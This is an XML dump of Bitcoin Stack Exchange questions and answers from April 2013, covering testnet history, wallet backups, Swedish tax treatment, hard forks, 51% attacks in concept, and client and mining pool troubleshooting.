  <row Id="9975" PostTypeId="1" AcceptedAnswerId="9979" CreationDate="2013-04-19T05:39:44.993" Score="8" ViewCount="1684" Body="&lt;p&gt;The Bitcoin TestNet is a network identical to Bitcoin in every respect except that the bitcoins on it are worthless because no one accepts them in payment or values them for anything other than testing purposes.  In essence, TestNet btc are valuable &lt;em&gt;because&lt;/em&gt; they are worthless, allowing for useful experimentation when developing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read somewhere that &lt;strong&gt;one way the TestNet can be prevented from acquiring significant value and mining power is by being reset from time to time&lt;/strong&gt; so that TestNet btc remain easy to mine and acquire for testing purposes.  This made me curious--&lt;strong&gt;has this ever happened before?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2024-01-21T20:36:47.837" Title="Has the TestNet ever been reset?" Tags="|history|testnet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9976" PostTypeId="1" AcceptedAnswerId="9978" CreationDate="2013-04-19T06:44:45.087" Score="2" ViewCount="690" Body="&lt;p&gt;Is it obligatory to backup &lt;code&gt;wallet.dat&lt;/code&gt; after each outgoing transfer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand it is, but not after each incoming transfer.&lt;/p&gt;&#xA;" OwnerUserId="4118" LastEditorUserId="196" LastEditDate="2013-04-19T13:37:42.347" LastActivityDate="2013-04-19T13:37:42.347" Title="When do I have to backup wallet.dat?" Tags="|wallet|client|bitcoin-core|wallet.dat|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9977" PostTypeId="2" ParentId="9976" CreationDate="2013-04-19T06:50:24.053" Score="-2" Body="&lt;p&gt;You're never &lt;strong&gt;obligated&lt;/strong&gt; to back up your wallet. It is something you do to protect yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do not need to backup your wallet to prevent from double spending (you spend BTC, loose your wallet, restore from an old wallet and try to spend the same coin). The protocol will stop that from happening because the transfer exists in the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you do need to back up your wallet to know what you have to spend. Without a current wallet the protocol won't know that you own a BTC and that you can spend it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is impossible (without a lot of computing power) to double spend BTC. Without your wallet you won't know what you have to spend. You can loose Bitcoins forever just like you can loose cash forever.&lt;/p&gt;&#xA;" OwnerUserId="4274" LastActivityDate="2013-04-19T06:50:24.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9978" PostTypeId="2" ParentId="9976" CreationDate="2013-04-19T07:04:59.800" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Key_pool&quot; rel=&quot;nofollow&quot;&gt;Every 100 transactions&lt;/a&gt;, counting both sending and receiving. For receiving, you can treat multiple transactions to the same address as a single transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This ensures that you don't lose any bitcoins if, for example, your hard drive crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The option &lt;code&gt;keypool&lt;/code&gt; in Bitcoin-Qt client adjusts this.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-19T07:04:59.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9979" PostTypeId="2" ParentId="9975" CreationDate="2013-04-19T07:43:02.727" Score="13" Body="&lt;p&gt;The current testnet is on its third iteration, somewhat unimaginatively titled testnet3.&lt;/p&gt;&#xA;&lt;p&gt;It was put that way by &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/feeb761ba07af74a7cd78b8c8f7c2a961fd9ea1c&quot; rel=&quot;nofollow noreferrer&quot;&gt;this commit&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Testnet, Mark III&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;gavinandresen authored 2012-04-12&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Before that, we had &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/98ba262a48b66cae8478525e809898512e997948&quot; rel=&quot;nofollow noreferrer&quot;&gt;testnet2&lt;/a&gt;: (though we didn't call it that back then)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Reset testnet with a new genesis block&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;davout authored 2011-02-03&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Before that, &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/5cbf75324d1509a1262b65c5073314a4da3f6d77&quot; rel=&quot;nofollow noreferrer&quot;&gt;testnet&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Gavin's TEST network as -testnet switch, misc fixes&#xA;git-svn-id: &lt;a href=&quot;https://bitcoin.svn.sourceforge.net/svnroot/bitcoin/trunk@168&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcoin.svn.sourceforge.net/svnroot/bitcoin/trunk@168&lt;/a&gt; 1a98c847-1fd6-4fd8-948a-caf3550aa51b&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;s_nakamoto authored 2010-10-19&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Man, sourceforge. Brings ya back, doesn't it?&lt;/p&gt;&#xA;&lt;p&gt;Essentially, the devs want testnet coins to be worthless for two reasons:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;to make them easy to mine&lt;/li&gt;&#xA;&lt;li&gt;because it's nice to have a place to demonstrate attacks against bitcoin without actually disrupting the network. You can show that an attack is valid without costing people real money.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2024-01-21T20:36:47.837" LastActivityDate="2024-01-21T20:36:47.837" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="9980" PostTypeId="2" ParentId="2783" CreationDate="2013-04-19T09:04:46.497" Score="4" Body="&lt;p&gt;I recently (as in April 18, 2013) asked the Swedish Tax Agency how they view Bitcoins.&#xA;This is the answer I got (the original swedish answer is at the end):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--- ENGLISH TRANSLATION ----&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I short, Bitcoin is not considered a currency, but rather a commodity. Taxation on the commodity value is 30%. You you create bitcoins and the sell them, you make a capital gain equal to the value of that commodity on the market (if you buy a comodity, the capital gain is that commoditys market value). The tax basis is zero and the entire gain is taxable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you bought bitcoins then the cost equals the amount you paid for them. If you sell for more vaule than you bought, you make a make a capital gain on the difference. Correspondingly, you make make a capital loss if they fell in value.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;---- URSPRUNGLIGT SVAR ----&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sammanfattningsvis ses bitcoins inte som en valuta utan som en vara. Beskattning sker i inkomstslaget kapital med en skattesats om 30%. Om du själv skapat bitcoins och säljer dem gör du en kapitalvinst motsvarande ersättningen (om du köper en vara är vinsten varans marknadsvärde). Omkostnadsbeloppet är noll och hela ersättningen är skattepliktig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Om du köpt bitcoins är omkostnadsbeloppet det du betalat för dem. Får du en större ersättning när du avyttrar dem jämfört med ditt inköpspris gör du en kapitalvinst på mellanskillnaden. Motsvarande gör du en kapitalförlust om de sjunkit i värde.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="4518" LastActivityDate="2013-04-19T09:04:46.497" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9981" PostTypeId="1" CreationDate="2013-04-19T09:13:39.397" Score="1" ViewCount="287" Body="&lt;p&gt;&quot;Your Open Orders&quot; in MtGox lists all of our orders. However, some orders are not &lt;em&gt;open&lt;/em&gt;. I sometimes see them as &lt;em&gt;pending&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1#Your_open_orders&quot; rel=&quot;nofollow&quot;&gt;HTTPv1 API&lt;/a&gt; states that there are 6 possible statuses:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;pending&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;executing&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;post-pending&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;open&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;stop&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;invalid&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What do these statuses mean?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastActivityDate="2013-04-19T09:13:39.397" Title="What does MtGox order status mean?" Tags="|mtgox|api|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9982" PostTypeId="1" AcceptedAnswerId="14094" CreationDate="2013-04-19T11:08:32.490" Score="3" ViewCount="515" Body="&lt;p&gt;Casacsius &lt;a href=&quot;http://casascius.wordpress.com/2013/04/01/orders-now-accepted-by-invitation-only/&quot; rel=&quot;nofollow&quot;&gt;stopped selling physical bitcoins&lt;/a&gt; directly on April 1st 2013, and instead refers people to resellers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find some reputable resellers?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2015-12-21T13:25:37.977" Title="Where can I find some reputable resellers of Casascius.Physical Bitcoins?" Tags="|physical-coins|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9984" PostTypeId="2" ParentId="9964" CreationDate="2013-04-19T11:59:42.007" Score="5" Body="&lt;p&gt;Up until the last checkpoint, your client knows that all transactions are properly signed. After the last checkpoint, your client has to validate each input to each transaction by matching it against the corresponding output and executing the script, typically involving an ECDSA verify.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-19T11:59:42.007" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9985" PostTypeId="2" ParentId="161" CreationDate="2013-04-19T12:13:17.180" Score="6" Body="&lt;p&gt;As per the &lt;strong&gt;current rules&lt;/strong&gt; there will only ever be 21 million coins at most (explained in other answers here). However, I'd like to add that this is by general agreement, which means that it &lt;strong&gt;can be changed&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this question: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8776/could-there-be-hyperinflation-in-bitcoin&quot;&gt;Could there be hyperinflation in Bitcoin?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the history of money, I am skeptical that there will only ever be 21 million coins. I don't know of too many instances in history when money could be created out of thin air and wasn't. It would be foolish to ignore history. Whether or not there will be more than 21 million coins depends on whether or not &quot;the people&quot; demand it, and once again history is our guide.&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-04-19T12:13:17.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9986" PostTypeId="1" CreationDate="2013-04-19T12:33:47.827" Score="13" ViewCount="6147" Body="&lt;p&gt;In March 2013 &lt;a href=&quot;http://bitcoin.org/chainfork.html&quot;&gt;there was a fork&lt;/a&gt; following the v0.8 release. The issue was resolved rather efficiently, as explained in the &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0050&quot;&gt;post-mortem report&lt;/a&gt;. However in this process there were winners and losers: the miners building on the v0.8 chain had to give up their block creation fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next time there's a fork like this, it may not be so straightforward. The miners may not all agree on the proper resolution for the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any &lt;strong&gt;documented set of rules&lt;/strong&gt; (bye-laws) explaining how such forks are to be resolved in the future?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's a conflict among the parties involved, who has the final say?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Any comments on Bitcoin's so-called (faux) &quot;decentralized&quot; architecture are also welcome, given my other question has been censored. The decentralization doesn't seem to work after all, which begs the question as to what the whole point of the proof-of-work scheme is anyway.&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="3228" LastEditDate="2013-04-19T13:20:15.393" LastActivityDate="2013-04-24T02:50:45.657" Title="How is a hard fork resolved?" Tags="|blockchain-fork|march-2013-fork|decentralization|governance|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9987" PostTypeId="1" CreationDate="2013-04-19T12:43:32.313" Score="1" ViewCount="2562" Body="&lt;p&gt;I need to query blockchain.info with an address and determine how much is there, ignoring transactions that don't have 3 confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me a hint how to do this?&lt;/p&gt;&#xA;" OwnerUserId="4522" LastEditorUserId="2306" LastEditDate="2013-04-19T17:03:34.080" LastActivityDate="2014-10-28T17:03:25.237" Title="How to query blockchain.info?" Tags="|blockchain.info|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9988" PostTypeId="2" ParentId="7529" CreationDate="2013-04-19T13:23:14.697" Score="4" Body="&lt;p&gt;You are also very welcome to try out &lt;a href=&quot;https://github.com/clanie/bitcoind-client&quot; rel=&quot;nofollow&quot;&gt;https://github.com/clanie/bitcoind-client&lt;/a&gt; - it is in early development, but already supports almost all the methods provided by bitcoind.&lt;/p&gt;&#xA;" OwnerUserId="4524" LastEditorUserId="4524" LastEditDate="2013-04-19T13:37:14.530" LastActivityDate="2013-04-19T13:37:14.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9990" PostTypeId="1" CreationDate="2013-04-19T13:28:01.627" Score="2" ViewCount="325" Body="&lt;p&gt;Deflation is a main economic reason to buy bitcoins earlier. However, is there any rational economic reason to purchase XRP early? As far as I know OpenCoin is not clear on distribution policy. The might be giving away billions of XRP at some point. &lt;/p&gt;&#xA;" OwnerUserId="4526" LastActivityDate="2013-04-20T10:11:26.847" Title="Is there any rational economic reason to purchase XRP early?" Tags="|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9991" PostTypeId="2" ParentId="9990" CreationDate="2013-04-19T13:41:15.563" Score="2" Body="&lt;p&gt;1) OpenCoin has been clear on &lt;em&gt;how many&lt;/em&gt; XRP they are going to distribute, they have been secretive only about &lt;em&gt;how&lt;/em&gt; they are going to do that. And that's fine, since otherwise people might try to game the system before their distribution starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) You might buy a few XRP if you &lt;em&gt;need&lt;/em&gt; them, or you can buy a lot of XRP if you want to speculate (i.e. you think their value will rise)&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-04-19T13:41:15.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9992" PostTypeId="1" CreationDate="2013-04-19T13:48:17.467" Score="0" ViewCount="554" Body="&lt;p&gt;Is it possible for bitcoins to manifest itself as  concrete currency so that it can be used as paper money ?&lt;/p&gt;&#xA;" OwnerUserId="4018" LastActivityDate="2013-06-03T06:15:13.913" Title="Can bitcoin system be modded to work without internet" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9994" PostTypeId="2" ParentId="9992" CreationDate="2013-04-19T13:55:51.587" Score="3" Body="&lt;p&gt;It depends on what you mean by &quot;work without the internet&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is already at least &lt;a href=&quot;https://www.casascius.com&quot; rel=&quot;nofollow&quot;&gt;one vendor&lt;/a&gt; who is making physical bitcoins. That is accomplished by exposing the public key on the face of the coin and hiding the private key under a tamper proof sticker. Such a scheme still relies on the internet, however, because the value of the coins is dependent upon the internet based Bitcoin blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual Bitcoin protocol itself could not be modified to exist without the Internet (or some equivalent wide area network). This is because to prevent the double spend problem without a central authority you must have communication between the network to determine if a coin has already been spent. (The physical coins above essentially rely on trusting the &quot;central authority&quot; of the coin maker. For example, that he will not mint duplicate coins, mint coins without valid private keys, and that his tamper proof stickers are truly tamper proof.)&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="3439" LastEditDate="2013-04-19T14:07:03.990" LastActivityDate="2013-04-19T14:07:03.990" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9995" PostTypeId="1" CreationDate="2013-04-19T14:20:09.973" Score="2" ViewCount="220" Body="&lt;p&gt;Once an attacker has acquired 51% hash power, is it possible to quickly get to 100% hash power by simply refusing to build on blocks created by other mining nodes and therefore discouraging mining entirely?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If 51% guarantees 100%, how quickly can this transition (from majority to total control) be expected to occur?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="5406" LastEditDate="2015-06-09T22:58:53.983" LastActivityDate="2015-06-09T22:58:53.983" Title="How long does it take to go from 51% hash power to 100% hash power?" Tags="|security|hashpower|majority-attack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9997" PostTypeId="1" AcceptedAnswerId="16739" CreationDate="2013-04-19T14:37:23.307" Score="2" ViewCount="865" Body="&lt;p&gt;I am working on a project which includes btc and ltc transactions. I need Bitcoin and Litecoin wallets with APIs that could create Push notification on newly received transactions. With API I mean any kind of communication (Interface, REST API etc.). Can anybody show me the way or name the wallets? Wallet needs to be local not remote website with service.&lt;/p&gt;&#xA;" OwnerUserId="4529" LastEditorUserId="4529" LastEditDate="2013-04-19T16:16:20.027" LastActivityDate="2014-06-14T10:45:09.927" Title="Bitcoin and Litecoin wallets with push notification API?" Tags="|wallet|client|api|litecoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9998" PostTypeId="2" ParentId="9997" CreationDate="2013-04-19T16:03:41.763" Score="0" Body="&lt;p&gt;blockchain.info offer an API and a notification thing.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2013-04-19T16:03:41.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9999" PostTypeId="1" AcceptedAnswerId="10049" CreationDate="2013-04-19T16:08:44.783" Score="5" ViewCount="1489" Body="&lt;p&gt;What are the disadvantages of merged mining? I'm very interested in p2pool and since I have to &quot;run my own server&quot; I've been considering enabling merged mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides the obvious administration overhead and learning (which I chalk up to being a hobby), what disadvantages are there? I wouldn't be reducing my BTC hashrate would I?&lt;/p&gt;&#xA;" OwnerUserId="3572" LastActivityDate="2013-04-21T02:44:35.193" Title="Merged Mining Disadvantages" Tags="|mining-pools|namecoin|p2pool|merged-mining|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10000" PostTypeId="2" ParentId="9986" CreationDate="2013-04-19T16:55:43.120" Score="15" Body="&lt;p&gt;A hard fork is by definition one that does not get solved. At least not by the rules of the system, as it is essentially an incompatibility between the rules assumed by separate nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But think about what can cause such a thing:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An incorrect (=not identical to the rest of the network) implementation forks off. In this case it will always certainly be clear who is &quot;at fault&quot;. For example, in the 0.7 vs 0.8 fork, there was a bug in the 0.7 (and older) clients that limited them in an unknown way, but 0.8 was at fault for not correctly mimicking the bug. As keeping such a weird and inconsistent limitation would hold the network back, and be risky in itself, the bug-free behavior will become allowed after may 15. However, if old full clients remain on the network after that date, they will end up on a fork, and this fork will not resolve.&lt;/li&gt;&#xA;&lt;li&gt;Two implementations arise that knowingly implement different rules, perhaps because of ideological disagreement about what the rules should be. If both are economically significant and have significant mining behind them (which in neither case necessarily means a near-majority), this is pretty much a disaster. The incentive for consensus is huge, as disagreement effectively means granting every old coin hold to spend it once on each side.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Regarding decentralization, I think you mistake consensus for centralization. There are of course degrees, but ultimately it is Bitcoin's users who decide which rules to enforce by the software they run. However, as explained, there is a huge incentive for making sure no real disagreement arises. In some cases that may mean discussion will be needed, and an agreement has to be reached, perhaps a compromise. But it doesn't mean one party gets to control others.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-04-19T16:55:43.120" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="10001" PostTypeId="2" ParentId="9995" CreationDate="2013-04-19T17:02:06.527" Score="3" Body="&lt;p&gt;From &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/658/what-can-an-attacker-with-51-of-hash-power-do?rq=1&quot;&gt;What can an attacker with 51% of hash power do?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Prevent some or all other generators from getting any generations&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, yes. However, it doesn't immediately give him more mining income. Once the block readjustment happens two to six weeks or so after the attack, the bitcoin network will notice that far fewer blocks were made, and the difficulty will go down.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-04-19T17:02:06.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10002" PostTypeId="2" ParentId="9970" CreationDate="2013-04-19T17:41:28.960" Score="1" Body="&lt;p&gt;One way would be to modify the bitcoin client. The modification would change mempool so that you have a good mempool, and a bad mempool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normal transactions go in the good mempool. However, if you notice a transaction that spends an output that is already spent in another loose transaction, then it goes into the bad mempool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bad mempool is never relayed to other clients that don't have good/bad mempools, and never mined from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is relayed to other bad mempools, and if those see a transaction that double-spends one of their transactions, then it would alert the user.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-19T17:41:28.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10003" PostTypeId="1" CreationDate="2013-04-19T17:50:29.303" Score="3" ViewCount="4431" Body="&lt;p&gt;My bitcoin-qt (on ubuntu installed via the PPA) just plain won't sync. It's been running for days and no/little progress past ~82256 blocks remaining...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also got an error displaying &quot;Warning: Displayed transactions may not be correct! You may need to upgrade, or other nodes may need to upgrade.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a good unrestricted internet connection and plenty of RAM, CPU and HDD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even tried loading the client with instructions on here (bootstrapping)  &lt;a href=&quot;http://eu2.bitcoincharts.com/blockchain/&quot; rel=&quot;nofollow&quot;&gt;http://eu2.bitcoincharts.com/blockchain/&lt;/a&gt; to no end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also purged all files from the .bitcoin directory (excluding wallet.dat of course) and started again to no end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;version&quot; : 80100,&#xA;&quot;protocolversion&quot; : 70001,&#xA;&quot;walletversion&quot; : 60000,&#xA;&quot;balance&quot; : 0.00000000,&#xA;&quot;blocks&quot; : 149874,&#xA;&quot;connections&quot; : 11,&#xA;&quot;proxy&quot; : &quot;&quot;,&#xA;&quot;difficulty&quot; : 1468195.42722083,&#xA;&quot;testnet&quot; : false,&#xA;&quot;keypoololdest&quot; : 1337298958,&#xA;&quot;keypoolsize&quot; : 100,&#xA;&quot;paytxfee&quot; : 0.00000000,&#xA;&quot;unlocked_until&quot; : 0,&#xA;&quot;errors&quot; : &quot;Warning: Displayed transactions may not be correct! You may need to upgrade, or other nodes may need to upgrade.&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2013-04-20T13:17:41.603" Title="Bitcoin-qt Not Syncing with errors" Tags="|blockchain|bitcoin-core|synchronization|ubuntu|error|" AnswerCount="2" CommentCount="0" ClosedDate="2015-08-20T12:10:29.383" ContentLicense="CC BY-SA 3.0" />
  <row Id="10004" PostTypeId="2" ParentId="9995" CreationDate="2013-04-19T18:20:50.997" Score="-3" Body="&lt;p&gt;Remember that one would have to gain over 400 petaflops of processing power to gain 51% of the network. The top ten supercomputers in the world combined aren't even powerful enough:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoinwatch.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinwatch.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.top500.org/lists/2012/11/&quot; rel=&quot;nofollow&quot;&gt;http://www.top500.org/lists/2012/11/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-04-19T18:20:50.997" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10006" PostTypeId="2" ParentId="10003" CreationDate="2013-04-19T20:17:33.193" Score="3" Body="&lt;p&gt;Try starting with the &lt;code&gt;-reindex&lt;/code&gt; command-line flag. That will rebuild the database on disk (as it seems corrupted), without redownloading the blocks you already have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's strange that wiping your datadir didn't help though.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-04-19T20:17:33.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10007" PostTypeId="1" CreationDate="2013-04-19T20:42:26.140" Score="2" ViewCount="1479" Body="&lt;p&gt;So I've setup my own &lt;code&gt;Pushpool&lt;/code&gt; server, and now I'm trying to connect using &lt;code&gt;GUIMiner&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server is up and running, this is what my terminal says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sbin/pushpoold -E -F&#xA;[2013-04-19 20:33:5.395392] Listening on host :: port 8336&#xA;[2013-04-19 20:33:5.395592] Listening on host :: port 8337&#xA;[2013-04-19 20:33:5.395792] initialized&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and on the GUIminer I connect with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Host: http://localhost&#xA;Port: 8336&#xA;Username: username (what I have set in SQLite3)&#xA;Password: password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then when I start mining my console says this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2013-04-18 14:40:53: Running command: poclbm.exe username:password@http://localhost:8336 --device=0 --platform=0 --verbose -r1 &#xA;2013-04-18 14:40:53: Listener for &quot;Default&quot; started&#xA;2013-04-18 14:40:54: Listener for &quot;Default&quot;: 18/04/2013 14:40:54,  need more than 1 value to unpack&#xA;2013-04-18 14:40:56: Listener for &quot;Default&quot;: WARNING: ADL missing (no AMD platform?), temperature control is disabled&#xA;2013-04-18 14:40:56: Listener for &quot;Default&quot;: At least one server is required&#xA;2013-04-18 14:40:56: Listener for &quot;Default&quot;: Traceback (most recent call last):&#xA;2013-04-18 14:40:56: Listener for &quot;Default&quot;: File &quot;Switch.pyo&quot;, line 45, in __init__&#xA;2013-04-18 14:40:56: Listener for &quot;Default&quot;: File &quot;Switch.pyo&quot;, line 60, in parse_server&#xA;2013-04-18 14:40:56: Listener for &quot;Default&quot;: ValueError: need more than 1 value to unpack&#xA;2013-04-18 14:40:57: Listener for &quot;Default&quot; shutting down&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anybody here have any idea on how to fix this? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4532" LastEditorUserId="2306" LastEditDate="2013-04-19T21:03:51.793" LastActivityDate="2013-04-19T21:20:18.150" Title="Trying to setup my own pool and having problems connecting to my server" Tags="|mining-pools|pushpool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10008" PostTypeId="2" ParentId="10007" CreationDate="2013-04-19T21:20:18.150" Score="1" Body="&lt;p&gt;You're adding the server the wrong way. The way you note the server's address isn't valid URI syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bad :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;username:password@http://localhost:8336&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Good :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://username:password@localhost:8336&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-19T21:20:18.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
